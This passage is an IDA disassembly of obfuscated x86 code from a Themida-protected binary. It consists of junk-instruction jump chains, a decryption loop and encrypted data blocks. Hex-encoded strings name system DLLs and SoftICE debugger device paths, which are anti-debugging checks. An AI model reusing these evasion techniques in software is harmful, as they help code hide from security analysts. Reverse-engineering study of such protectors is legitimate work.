		add	ecx, 0D6DDF7EAh
		mov	edi, ecx
		pop	ecx
		sub	ebp, 6D307666h
		add	ebp, edi
		add	ebp, 6D307666h
		pop	edi
		jmp	loc_5A44D7
; ---------------------------------------------------------------------------


loc_5AF9D0:				; DATA XREF: Themida_:005987D0o
		mov	eax, [esp]
		jmp	loc_5A10A8
; ---------------------------------------------------------------------------


loc_5AF9D8:				; CODE XREF: Themida_:0059D79Dj
		jmp	loc_5A4A94
; ---------------------------------------------------------------------------
byte_5AF9DD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00598724o
		dd 4EC8124h, 89000000h,	7DE9243Ch
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AF9EF:				; CODE XREF: Themida_:005A59ECj
		push	ecx
		pop	eax
		pop	ecx
		pop	ebp
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A8FFD
; ---------------------------------------------------------------------------


loc_5AFA00:				; CODE XREF: Themida_:005ACE0Dj
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_5A4835
; ---------------------------------------------------------------------------


loc_5AFA09:				; CODE XREF: Themida_:00599577j
		push	ebx
		push	ebp
		push	edi
		mov	edi, 55C65828h
		mov	ebp, 967F72AAh
		sub	ebp, edi
		pop	edi
		jmp	loc_5A1F70
; ---------------------------------------------------------------------------


loc_5AFA1E:				; CODE XREF: Themida_:005AC976j
		shl	ebx, 1
		jnp	loc_5A284C
		add	ebx, 26680828h
		jb	loc_59D28E
		mov	dl, al
		pop	ecx


loc_5AFA35:				; CODE XREF: Themida_:005A0742j
		shl	ebp, 5
		jns	loc_5AF512
		or	ebp, 420F1EF0h
		jge	loc_5A34B2
		and	ebp, 53AC06A5h
		jmp	loc_59AE14
; ---------------------------------------------------------------------------


loc_5AFA55:				; CODE XREF: Themida_:005A99AAj
		xor	eax, edx
		pop	edx
		jmp	loc_59B732
; ---------------------------------------------------------------------------


loc_5AFA5D:				; CODE XREF: Themida_:0059C73Ej
		push	1E08h
		mov	[esp], ebp
		mov	ebp, 1C606463h
		push	edx
		mov	edx, 578F4295h
		jmp	loc_5A33BB
; ---------------------------------------------------------------------------


loc_5AFA75:				; CODE XREF: Themida_:0059EA99j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5ACBED
; ---------------------------------------------------------------------------


loc_5AFA83:				; CODE XREF: Themida_:005AA6BEj
		pop	edx
		or	esi, 7E184380h
		push	edi
		mov	edi, 1647488Ah
		jmp	loc_59A9BE
; ---------------------------------------------------------------------------


loc_5AFA95:				; CODE XREF: Themida_:005AA412j
		sub	ebx, 6671B7ACh
		mov	ebp, ebx
		pop	ebx
		add	edi, ebp
		jmp	loc_59D9CE
; ---------------------------------------------------------------------------


loc_5AFAA5:				; CODE XREF: Themida_:0059A025j
		add	ebx, 4
		jmp	loc_5AEC9E
; ---------------------------------------------------------------------------


loc_5AFAB0:				; CODE XREF: Themida_:0059CFC2j
					; Themida_:0059F9CFj
		mov	ah, 0D8h
		sub	dh, ah
		pop	eax
		mov	bl, dh
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5A4DEA
; ---------------------------------------------------------------------------


loc_5AFAC0:				; CODE XREF: Themida_:0059AD89j
		xchg	eax, [esp]
		mov	esp, [esp]
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_5A9663
; ---------------------------------------------------------------------------


loc_5AFAE0:				; CODE XREF: Themida_:005A3D1Fj
		add	ecx, 40B5225h
		not	ecx
		jmp	loc_5A6923
; ---------------------------------------------------------------------------


loc_5AFAED:				; CODE XREF: Themida_:005A017Bj
		sub	edx, 582E4573h
		shl	edx, 4
		xor	edx, 52D61CA2h
		shr	edx, 2
		sub	edx, 0B4156A90h
		mov	edi, edx
		pop	edx
		sub	eax, edi
		jmp	loc_59F408
; ---------------------------------------------------------------------------


loc_5AFB0F:				; CODE XREF: Themida_:loc_5A87CEj
		jmp	loc_5A3481
; ---------------------------------------------------------------------------


loc_5AFB14:				; CODE XREF: Themida_:0059DA34j
		pop	esi
		sub	esp, 4
		jmp	loc_5A88EC
; ---------------------------------------------------------------------------


loc_5AFB1D:				; CODE XREF: Themida_:005AEE13j
		mov	[esp], edx
		mov	dl, 0CFh
		dec	dl
		jmp	loc_59E5D3
; ---------------------------------------------------------------------------


loc_5AFB29:				; CODE XREF: Themida_:005ADC79j
		not	esi
		xor	esi, 574F76AAh
		or	esi, 5BC77486h
		jmp	loc_59C463
; ---------------------------------------------------------------------------


loc_5AFB3C:				; CODE XREF: Themida_:005A2E12j
		shl	edx, 3
		jmp	loc_5AB1E7
; ---------------------------------------------------------------------------


loc_5AFB44:				; CODE XREF: Themida_:005A9476j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_598E5C
; ---------------------------------------------------------------------------


loc_5AFB55:				; CODE XREF: Themida_:005A96FDj
		pop	esi
		jmp	loc_5A86C6
; ---------------------------------------------------------------------------


loc_5AFB5B:				; CODE XREF: Themida_:005AAA44j
		shl	ch, 3
		push	ebx
		mov	bh, 50h
		add	bh, 0FFh
		shr	bh, 5
		add	bh, 4Dh
		add	bh, 75h
		xor	ch, bh
		pop	ebx
		jmp	loc_5A70A6
; ---------------------------------------------------------------------------


loc_5AFB75:				; CODE XREF: Themida_:0059D475j
		pop	ecx
		movzx	eax, ax
		push	small 4B0Fh
		mov	[esp], ax
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AFB86:				; CODE XREF: Themida_:005A8022j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_59E298
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5A7FB8
; ---------------------------------------------------------------------------


loc_5AFBA2:				; CODE XREF: Themida_:005AC2BDj
		jmp	loc_59CB83
; ---------------------------------------------------------------------------


loc_5AFBA7:				; CODE XREF: Themida_:0059E83Dj
		add	edi, 4
		jmp	loc_5A9562
; ---------------------------------------------------------------------------


loc_5AFBB2:				; CODE XREF: Themida_:0059EA2Cj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		idiv	ecx
		push	1A68h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5A2C8F
; ---------------------------------------------------------------------------


loc_5AFBDC:				; CODE XREF: Themida_:0059FE09j
		mov	[esp], edx
		mov	edx, 0C1E55E3h
		or	edx, 324B392Dh
		not	edx
		add	edx, 0CA360631h
		sub	edi, edx
		jmp	loc_59CACE
; ---------------------------------------------------------------------------


loc_5AFBF9:				; CODE XREF: Themida_:005AF1CEj
		xor	eax, 400D22FFh
		jg	loc_59B917
		sub	eax, 0E8689FDh
		push	edx
		mov	edx, 3890463Fh
		or	eax, edx
		pop	edx
		shr	eax, 3
		shr	eax, 5
		neg	eax
		push	edi
		mov	edi, 71A7555Dh
		xor	edi, 1C6E406Fh
		xor	edi, 6D99C89Dh
		sub	eax, 51155365h
		add	eax, edi
		add	eax, 51155365h
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5A6CF3
; ---------------------------------------------------------------------------


loc_5AFC44:				; CODE XREF: Themida_:005AD139j
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59DDEB
; ---------------------------------------------------------------------------


loc_5AFC60:				; CODE XREF: Themida_:005A4C77j
		pop	edi
		xor	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		mov	esi, ebp
		pop	ebp
		push	esi
		mov	esi, 3E6E4D7Ah
		sub	ebx, esi
		pop	esi
		add	ebx, 70101621h
		push	ecx
		mov	ecx, 5B3500FDh
		shr	ecx, 4
		inc	ecx
		sub	ecx, 0AD9F22F7h
		add	ebx, ecx
		pop	ecx
		jmp	loc_59C715
; ---------------------------------------------------------------------------


loc_5AFC96:				; CODE XREF: Themida_:005A4089j
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5AD47E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_5A4D98
; ---------------------------------------------------------------------------


loc_5AFCB0:				; CODE XREF: Themida_:005ABABAj
					; Themida_:005AE721j
		mov	ecx, 2
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_59FD85
; ---------------------------------------------------------------------------


loc_5AFCEA:				; CODE XREF: Themida_:005A12E5j
		or	esi, eax
		jmp	loc_59D8B1
; ---------------------------------------------------------------------------


loc_5AFCF1:				; CODE XREF: Themida_:00598C8Ej
		jmp	loc_598A6C
; ---------------------------------------------------------------------------


loc_5AFCF6:				; CODE XREF: Themida_:005990FDj
		sub	dh, 0BAh
		sub	al, 4Eh
		jmp	loc_5A5EE0
; ---------------------------------------------------------------------------


loc_5AFD00:				; CODE XREF: Themida_:005AA16Cj
		inc	dword ptr [esp]
		pop	ebp
		jmp	loc_5A7526
; ---------------------------------------------------------------------------


loc_5AFD09:				; CODE XREF: Themida_:005A1AC2j
		jmp	loc_59A4E1
; ---------------------------------------------------------------------------


loc_5AFD0E:				; CODE XREF: Themida_:005AA2E5j
		pop	edi
		push	esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		pop	edx
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	[edi+1Ch], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AFD3D:				; CODE XREF: Themida_:005A006Cj
		mov	[esp], eax
		mov	al, 0C4h
		sub	ch, al
		mov	eax, [esp]
		add	esp, 4
		add	al, ch
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	edx
		push	ebx
		mov	ebx, 576C1735h
		shr	ebx, 3
		js	loc_59F88A
		shr	ebx, 7
		js	loc_5A5A90
		xor	ebx, 0D4CCDFBh
		mov	edx, ebx
		jmp	loc_59F9AC
; ---------------------------------------------------------------------------


loc_5AFD80:				; CODE XREF: Themida_:005A7453j
		mov	[esp], ebx
		push	ecx
		push	2DC25B95h
		pop	ecx
		jmp	loc_5A642A
; ---------------------------------------------------------------------------


loc_5AFD8F:				; CODE XREF: Themida_:005A585Aj
		mov	[esp], ebp
		xor	dword ptr [esp], 40927A3h
		jmp	loc_59C9C6
; ---------------------------------------------------------------------------


loc_5AFD9E:				; CODE XREF: Themida_:005A1FE6j
					; Themida_:005AD0CCj
		mov	esi, 7E0042DBh
		jmp	loc_5A8C28
; ---------------------------------------------------------------------------


loc_5AFDA8:				; CODE XREF: Themida_:005A4AF1j
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A530F
; ---------------------------------------------------------------------------


loc_5AFDC3:				; CODE XREF: Themida_:005AC79Dj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_59C97B
; ---------------------------------------------------------------------------


loc_5AFDD7:				; CODE XREF: Themida_:005A9FB5j
		pop	edx
		sub	eax, 33C75B01h
		jz	loc_59B19E
		jmp	loc_5995A8
; ---------------------------------------------------------------------------


loc_5AFDE8:				; CODE XREF: Themida_:005AABC9j
		and	ah, bh
		pop	bx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59CDD2
; ---------------------------------------------------------------------------


loc_5AFDF7:				; CODE XREF: Themida_:0059A774j
		sub	cl, 0A6h
		pop	ax
		xor	cl, 59h
		or	cl, 0AEh
		sub	cl, 44h
		add	bl, cl
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		add	bl, 1Fh
		sub	bl, al
		sub	bl, 1Fh
		jmp	loc_59FD16
; ---------------------------------------------------------------------------


loc_5AFE1C:				; CODE XREF: Themida_:005A3AF0j
		mov	ecx, 4
		sub	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5AAFFC
; ---------------------------------------------------------------------------


loc_5AFE2F:				; CODE XREF: Themida_:00598D8Aj
		add	edx, ebx
		sub	edx, 7FE030F0h
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_59E151
; ---------------------------------------------------------------------------


loc_5AFE44:				; CODE XREF: Themida_:0058B04Fj
		call	near ptr loc_5AFE5B+1
		popf
		insb
		push	0B75CB0D6h
		cwde
		sub	al, 2Dh
		xchg	esi, ebp
		fstp	qword ptr [edx-6DE1FAAEh]


loc_5AFE5B:				; CODE XREF: Themida_:loc_5AFE44p
		test	al, 0Fh
		add	dword ptr [ecx], 0F8000000h
		pop	ebx
		pusha
		mov	dx, 794Bh
		push	eax
		cmc
		pop	ebx
		popa
		add	ebx, 5DA7h
		jmp	loc_5AFE8C
; ---------------------------------------------------------------------------
		dd 0CF83C50Fh, 0F9A6E1BFh, 565F9860h, 12C9BD1Eh, 0FF9BD78Ah
; ---------------------------------------------------------------------------


loc_5AFE8C:				; CODE XREF: Themida_:005AFE73j
		mov	ecx, 3DA0767Bh
		add	ecx, 0C25FA0BDh
		push	ecx
		mov	esi, 29974118h
		pop	eax


loc_5AFE9E:				; CODE XREF: Themida_:005AFEFAj
		push	dword ptr [ebx]
		mov	esi, [ebp+7FA2BF5h]
		pop	edi
		mov	esi, edx
		xor	edi, 5DDE2FC8h
		mov	ax, di
		sub	edi, 3C2B9A0Bh
		pusha
		mov	[ebp+7FA068Dh],	eax
		mov	edi, edx
		popa
		xor	edi, 7D4E1C66h
		movzx	edx, di
		push	edi
		sub	[ebp+7FA25A9h],	eax
		pop	dword ptr [ebx]
		mov	ah, 0A0h
		sub	ebx, 3
		push	edi
		add	dl, 0EFh
		pop	esi
		dec	ebx
		jmp	loc_5AFEF4
; ---------------------------------------------------------------------------
		dd 414B4A6Fh, 0AE3B4BF4h, 0EB400760h, 0C0617301h
; ---------------------------------------------------------------------------


loc_5AFEF4:				; CODE XREF: Themida_:005AFEDFj
		sub	ecx, 1
		jnz	loc_5AFE9E
		jmp	loc_5AFF14
; ---------------------------------------------------------------------------
		db 6Eh,	5Ah, 0EDh
		dd 0FD3AA3DFh, 8F60A666h, 4DB3FE3Dh
; ---------------------------------------------------------------------------


loc_5AFF14:				; CODE XREF: Themida_:005AFF00j
		jmp	loc_5AFF5E
; ---------------------------------------------------------------------------
		db 0A4h, 0F2h, 20h
		dd 4553551Ah, 2E323352h, 6C6C64h, 41564441h, 32334950h
		dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D8006C6Ch,	1000207h
		dd 10001900h, 19001E00h, 3B300h, 3 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AFF5E:				; CODE XREF: Themida_:loc_5AFF14j
		jmp	loc_5B0791
; ---------------------------------------------------------------------------
		push	7FCCBFFh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FCCC83h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FCCD60h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FCCE91h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FCCF17h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FCD024h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FCD092h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		db 0Fh,	7, 97h
		dd 405EB461h, 0E6B85D0Ah, 920C03B0h, 3C62AF5Ch,	361DD206h
		dd 0E08DC3DBh, 87346A34h, 32DF1589h, 0B887BDE1h, 4DE14460h
		dd 0A90F07E3h, 0BE687BF2h, 0B00595CBh, 39D62E5Fh, 0E28F8E19h
		dd 1FC5EE79h, 8E696B87h, 0F44D07E0h, 0A2D553B7h, 4DA2E1BAh
		dd 63CDCAC3h, 3D80E910h, 0BCCD2ED4h, 36F814A4h,	1CE60183h
		dd 6A1F38C3h, 0C54A66F6h, 0EFE1BBBCh, 7EE7B75Ah, 0B759AEEEh
		dd 87666DE7h, 39C7E5A9h, 712DE693h, 19858E3Bh, 0B93E5F5Bh
		dd 0D675B047h, 6A1h, 0F82E70A6h, 0A1D7C74Bh, 477D21F4h
		dd 0F329759Ah, 9DD3CB46h, 46CBB469h, 9F752258h,	0F41CC9FFh
		dd 4CC774AAh, 0F54D1C52h, 0E34E76D9h, 7F369C07h, 0A7326CA7h
		dd 910D0257h, 61FF8AEBh, 43A9A7D1h, 5A9106ECh, 75001CB4h
		dd 1C07E355h, 0E4E9A1F2h, 9E445EF0h, 2C6CFC55h,	0EE273BD7h
		dd 93BC47B0h, 0CED040EDh, 7925EB98h, 0C9499EEEh, 0AB305BD5h
		dd 0FB39A773h, 336BA855h, 65B08375h, 0E685C09Eh, 61Dh
		dd 7CB2EC2Ah, 255B43CFh, 0CB019D78h, 77ADF11Eh,	215747CAh
		dd 0C24F38EDh, 1BF9A6DCh, 70A04D83h, 0C84BF82Eh, 79D1A0D6h
		dd 0E34EFA5Dh, 0BC22807h, 0A7326CA7h, 42CDD142h, 8D92BC44h
		dd 0A0B2D05Ch, 25DF6006h, 74A1E61Eh, 498438h, 0A7150000h
		dd 4DA2326Ch, 2750DBC3h, 0E08C4381h, 0FFE68379h, 8392D043h
		dd 1B7CB21Bh, 4662F26Eh, 7E0F5DAh, 0DB1BAB04h, 86118D86h
		dd 60AB75Dh, 0A6936387h, 3753AC26h, 7E0A5D4h, 0D740A902h
		dd 821CF4A1h, 58758F7h,	0A7F10000h, 8EA7326Ch, 0BF223EFBh
		dd 0E5FFE683h, 7793238Ch, 7E08825h, 0F5A2D831h,	0E94A801Eh
		dd 0F030C0A0h, 9C27779Bh, 0D959CD73h, 0FD0FDD52h, 51BF14A4h
		dd 0A66A174Dh, 0B086DF8h, 0CF35D593h, 0DB16999Fh, 5403Ch
		dd 8F0F0700h, 3866AC59h, 0DEC05502h, 8A14FBA8h,	346AA754h
		dd 2E15CAFEh, 0D885BBE3h, 7F2C623Ch, 2AD70D91h,	0B07FB5E9h
		dd 50D93C58h, 0A10707E3h, 0F66CA7EAh, 0CEF7821Ch, 4DB6E829h
		dd 0E8B65DC2h, 811DF85Dh, 1E8091F6h, 540E4F93h,	43FD6EACh
		dd 0E6853E98h, 8F0F00FFh, 91235E26h, 1CC33874h,	73FFFFFFh
		dd 6D31DE33h, 0E6799E01h, 0DB6BC4FFh, 0E6795CBFh, 8B318AFFh
		dd 0AA67BCD4h, 72A14EF4h, 188A12Ch, 43ACF223h, 6F8789B3h
		dd 748120CAh, 0A81A36CEh, 2E07E185h, 98237B99h,	80C92C48h
		dd 9EF707E1h, 0FE96CC35h, 0A84F65D4h, 0AA5071FCh, 90204049h
		dd 0DB9EFA74h, 48FE80Fh, 0E75E72D8h, 41FB7CFFh,	7566023Ah
		dd 177A038h, 7B310000h,	95CBBE68h, 89E7E905h, 72CB07E0h
		dd 0A653D135h, 3257E1BAh, 0C8499E2Eh, 0BCE231D6h, 0CA620831h
		dd 0A5ECAEh, 0F681DAE6h, 24B4ACDDh, 0BAD08308h,	48D831E1h
		dd 0EE7E20F3h, 0E7B759AEh, 64C7335Ch, 92DE06ABh, 0FD8816FDh
		dd 87C56BD4h, 245439DAh, 0E6416721h, 846E2C95h,	0A547B95Ch
		dd 40FCB6Ah, 0DE380000h, 35DD8AC0h, 8F863369h, 0E32CD90Fh
		dd 39D885BBh, 46FB2F65h, 0B4EAB45Dh, 5B910D07h,	63C62AEh
		dd 0AEE4BA59h, 86B87DFh, 2E07E351h, 96F311C8h, 0A5FA3ACAh
		dd 1A8E346Ah, 7E34EA7h,	188689DEh, 75BE648Dh, 224C8C1Ch
		dd 0C6C17B7Eh, 4BAE1AC6h, 7907E2C0h, 8DE27A20h,	6935DF83h
		dd 925B5DEh, 7E2C0A6h, 0D40A73CCh, 9A86123Ch, 84BD30C9h
		dd 0BFDF31DEh, 5A44CF34h, 6533C89Ch, 0EF8EC99Eh, 389h
		dd 104658BEh, 0B9EFAF63h, 5F95090Ch, 0B415DB2h,	0B5EBB35Eh
		dd 2EE3CC81h, 878D3A70h, 0DC34E117h, 34DF8CC2h,	0D65346Ah
		dd 0E3528EF1h, 974EB407h, 0EF0B6CA7h, 0FFE6838Ch, 6DF861BAh
		dd 7AA0F31Dh, 524A3AE3h, 2D56E1BDh, 0A2711EC4h,	27371FCh
		dd 45439D48h, 6F37FFE7h, 38755134h, 5549C81Dh, 1AFBA1CAh
		dd 0FFFFFD5Fh, 326CA7ABh, 0C5C84DA2h, 231A6EEh,	62ED56A6h
		dd 0E7009339h, 122EBEA2h, 7E0CA68h, 57EF257Eh, 0E98F0F02h
		dd 0B9637B32h, 0AB0090D0h, 0FB933965h, 0E089DDDFh, 6090BA07h
		dd 1E59A363h, 65BE07ADh, 0F513ABD5h, 96064256h,	0EF7A24F1h
		dd 77DB20C6h, 0AFF8722Ah, 5EB76D1Ch, 0F247D740h, 0D2EE7E20h
		dd 0AFD3926Fh, 0FE963C95h, 0CD9B20E2h, 62ED46B7h, 90204049h
		dd 0F7C4EF74h, 415DDDAFh, 0AFD3C0DEh, 0B242AB04h, 0AAF41D72h
		dd 0E2BC5704h, 6EA14ACh, 48F5493Fh, 1DF6A349h, 0BFE5C381h
		dd 0ABE63674h, 27C0Ch, 534BCB00h, 0FCA2701Dh, 0A2FC19C6h
		dd 4E50BF6Ch, 0F8A66B18h, 0F2D98EC2h, 9C497F1Fh, 43F02678h
		dd 0EE9BD1CDh, 74437925h, 539D001Ch, 5DC307E3h,	0A967BCA6h
		dd 9B416AF5h, 81114F3Ah, 0E34DFC65h, 191EA07h, 0FAA46CC1h
		dd 0E34D2B8Eh, 5A005907h, 0FBA36DC2h, 95F818C5h, 4290D74Dh
		dd 0A22D9649h, 0AC8D63Dh, 9E65BF4Ah, 0E49E823h,	39000002h
		dd 0DE8BC1DDh, 87346A34h, 2DDA108Eh, 0D986BCE2h, 0FC306638h
		dd 0EDB16047h, 940A0AB7h, 3F5FB15Eh, 0E7B75C09h, 6E8AE2B1h
		dd 7E3530Bh, 0F31CD339h, 1E3ACA96h, 7E34EB5h, 1C46D62Fh
		dd 76ACAC69h, 1C828E2Bh, 20750DB3h, 0C61BABF3h,	6FAD534Bh
		dd 187B97D7h, 3E07E324h, 0AFDE3FE5h, 0B40D29B9h, 0D207E324h
		dd 8889EE79h, 0CC318B16h, 74C95945h, 1E5C029Ch,	898D0BDh
		dd 0E32491ECh, 0CB56AF07h, 0B3EB267Bh, 7D85FF28h, 3E8BC05Ah
		dd 878C39DFh, 0E2328C17h, 751B838Dh, 1D534BC8h,	0B1EAA370h
		dd 55C8F4C8h, 0CE23B31Ch, 0A7D05B43h, 0E88E1002h, 7F75C455h
		dd 1E830E90h, 8D1FAAF4h, 7F02AA64h, 9B785C16h, 0E035CD03h
		dd 0B8E16C32h, 0F0AE6512h, 5B070B60h, 0F37EE7B7h, 0B2EC25CAh
		dd 0FD14790Ch, 0C9FA16A1h, 0B6E82B0Fh, 603ED380h, 0C6DBA6D0h
		dd 0F17C22F3h, 35E74EC8h, 7102953Bh, 0B6E82C22h, 4F4FC62Bh
		dd 0BD77A8C4h, 6F299215h, 0E218868Bh, 37C2DC35h, 1E8092E7h
		dd 17C46A93h, 0C015A5F9h, 12A54B53h, 0B99D5780h, 63104658h
		dd 3904DDB0h, 0F07C9C47h, 0AFD0FC87h, 44C056DDh, 967D611Bh
		dd 103AD208h, 0C7F1CFAEh, 48670A29h, 2FEA41BBh,	28EB983Eh
		dd 719BEB76h, 835D8C1Ah, 0DD32D715h, 0A36E1BC1h, 0DE1770FBh
		dd 252B5524h, 0FCB7686Fh, 5BB8650Bh, 0B3600D43h, 0D01060EBh
		dd 75F651B4h, 28AA46BFh, 0B14C5DEDh, 6836DB70h,	0A54BB4DDh
		dd 33DF4544h, 4EB7E06Bh, 6F10A2BEh, 3D96C770h, 7DE3A607h
		dd 2E91ADEDh, 54B85C6Eh, 0A1BD55FBh, 0C0593912h, 47AC3790h
		dd 0EF9CD2CCh, 0C3EF7A24h, 0DD4BC57Dh, 3A1ED811h, 0F78FC5D9h
		dd 83389BB7h, 17FAA23Bh, 92D3FC87h, 2DE69339h, 8E81E671h
		dd 0B3F38510h, 46ECB25Eh, 0EC270BC5h, 44CF7CB2h, 1CA0CA5Ah
		dd 41BC5F49h, 38D76A10h, 0Dh, 3194B0F0h, 5FA23C3Bh, 0BBA96006h
		dd 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh, 29C78DDh, 9FFF1277h
		dd 3C62AF14h, 0DBC34CB1h, 742AEB50h, 108E84E9h,	89575285h
		dd 4C781E7h, 83000000h,	3C8704EFh, 2C895C24h, 52A36824h
		dd 3C890000h, 623C6824h, 34890000h, 192A6824h, 4890000h
		dd 0CB68B824h, 0C78907FCh, 4EC8358h, 81242489h,	42404h
		dd 575E0000h, 7C243481h, 8F46181Ah, 0BB530846h,	8, 3381F301h
		dd 46181A7Ch, 24348B5Bh, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 53243C8Bh, 0C381E389h, 4, 4C381h, 1C870000h,	0A5E95C24h
		dd 10FFFDABh
		db 0CFh
; ---------------------------------------------------------------------------


loc_5B0791:				; CODE XREF: Themida_:loc_5AFF5Ej
		mov	eax, 7FCD2C5h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 89F4h
		dd 0E17426E7h, 0B8AD3E4Ah, 51713B5Eh, 1CF014B4h, 818820F2h
		dd 0B7665412h, 309B5DCFh, 361C5019h, 0A5A8196Fh, 70412E26h
		dd 8CE9675Bh, 60000000h, 18D9BD83h, 0F0007FAh, 584h, 77E900h
		dd 6A0000h, 0F303E80h, 885h, 46006A00h,	35E9h, 333E8000h
		dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
		dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah
		dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 14E9h
		dd 0A1858D00h, 9007FA1Fh, 50969050h, 0FF006A96h, 0FA2AE595h
		dd 0C6C36107h, 0FA066585h, 2F684D07h, 818A06ACh, 0CA792404h
		dd 0B5FF1A2Eh, 7FA0515h, 3AE2858Dh, 0D0FF07FAh,	2AE58589h
		dd 0BE807FAh, 2C000000h, 0D2EB9BB3h, 0F4B5A4BAh, 0B70F925Fh
		dd 0C8815EC6h, 444D210Ch, 7485C681h, 858B0000h,	7FA222Dh
		dd 9589C933h, 7FA0099h,	813134FFh, 193202C0h, 12E85A5Bh
		dd 7B000000h, 0BE845930h, 0C5EFD5DDh, 6620D8A3h, 8AEB73A3h
		dd 55BD29B6h, 5807FA18h, 0CB0CC281h, 0BD8B1279h, 7FA01FDh
		dd 5D80C281h, 858B583Fh, 7FA0861h, 58E1C281h, 0CF803FFEh
		dd 0E1489B1h, 4166B866h, 67DB529h, 0E98107FAh, 26846429h
		dd 0FE9h, 535B4200h, 0ADEC1EF7h, 6131C4B9h, 75EE1116h
		dd 6425C181h, 89602684h, 0FA0511B5h, 13E907h, 21500000h
		dd 0E31E249Eh, 579CB740h, 94E8D1FFh, 0C3E836E5h, 0F9816199h
		dd 0FFFF8C48h, 0FF5E850Fh, 9D09FFFFh, 7FA15B1h,	5C5C1EEBh
		dd 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h, 5C5C0044h
		dd 544E5C2Eh, 454349h, 8D0FC08Bh, 13h, 0EE9h, 0CA0A1400h
		dd 0E34262D6h, 0C61E9144h, 834A8624h, 0FA2ACDBDh, 9750007h
		dd 1899BD83h, 740007FAh, 8B535019h, 40FB8C0h, 85890000h
		dd 7FA20C9h, 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh, 7FA1899h
		dd 50177400h, 40FB853h,	85890000h, 7FA20C9h, 0DF139D8Dh
		dd 0D3FF07FCh, 6A585Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8BADDBC3h, 519589D7h, 0E807FA27h
		dd 6, 26A47D4Ah, 95893190h, 7FA2131h, 66C08B5Ah, 3352F38Bh
		dd 0FA170DBDh, 85C65F07h, 7FA0665h, 0E8F98B43h,	4, 0BC8E6EFCh
		dd 840F5250h, 0
		dd 5250310Fh, 11E8h, 1E324900h,	3CC5EEA1h, 5A360766h, 0E97CE5h
		dd 0F5E8B95h, 5A616031h, 50585A58h, 38B0Fh, 8B660000h
		dd 24448BF1h, 52505604h, 0FD78B66h, 0EE931h, 39920000h
		dd 3BC80AE2h, 548529F5h, 320148E9h, 8B5F585Ah, 50606000h
		dd 0F52505Eh, 61585A31h, 890F57h, 5A000000h, 24448961h
		dd 0B5FF5804h, 7FA08A5h, 8DF78B66h, 0FA3AE285h,	18C0F07h
		dd 0F5000000h, 6AD0FFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0A2E4D0C3h, 7AAA2B60h, 0FAD8589h
		dd 0E99007FAh, 0Dh, 1DF81138h, 485BA135h, 9829FE73h, 8B9050DEh
		dd 0FA2801BDh, 81B58B07h, 6A07FA22h, 89958900h,	0E807FA2Bh
		dd 4, 80h, 34E864BFh, 448B5060h, 0B2600424h, 5840F76h
